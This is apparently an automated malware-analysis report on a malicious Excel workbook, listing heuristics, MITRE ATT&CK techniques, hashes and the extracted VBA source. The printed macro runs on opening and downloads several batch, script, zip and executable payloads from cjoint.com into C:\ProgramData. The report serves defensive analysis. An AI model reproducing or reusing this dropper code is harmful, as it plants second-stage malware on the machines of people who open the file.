MALICIOUS
90
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The Excel file contains a Workbook_Open VBA macro that utilizes the URLDownloadToFile function. This function is used to download a file from the URL https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd and save it as C:\ProgramData\protect.cmd. The macro's execution of URLDownloadToFile indicates an intent to download and execute a second-stage payload.
Heuristics 4
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Attribute VB_Name = "Module1" Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _ -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Workbook_Open() SaveCopy -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd Referenced by macro
- https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.batReferenced by macro
- https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.ouiReferenced by macro
- https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.ouiReferenced by macro
- https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbsReferenced by macro
- https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zipReferenced by macro
- https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd�Referenced by macro
- https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs�Referenced by macro
- https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip�Referenced by macro
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2490 bytes |
SHA-256: f2a01c893b38c05dc3193cd2345a23d423fd09acdd25fda6f4d2032ebceb62ba |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
SaveCopy
End Sub
Attribute VB_Name = "Feuil1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Private Sub CommandButton1_Click()
SaveCopy
End Sub
Attribute VB_Name = "Feuil2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Feuil3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub SaveCopy()
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd", "C:\ProgramData\protect.cmd", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle.bat", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle2.bat", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.oui", "C:\ProgramData\dControl.exe", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.oui", "C:\ProgramData\RunNHide.exe", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs", "C:\ProgramData\uz2.vbs", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip", "C:\ProgramData\update2.zip", 0, 0
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 17408 bytes |
SHA-256: 7e9e7abc7742277441a2fbda1958555e5cdae792ebcd208f654fc1e3ce547f75 |
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 2676 bytes |
SHA-256: b2c9c65ffae389d2e35221cb9ba67ccce98a50f4e376ebd07f8117ecece9236b |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.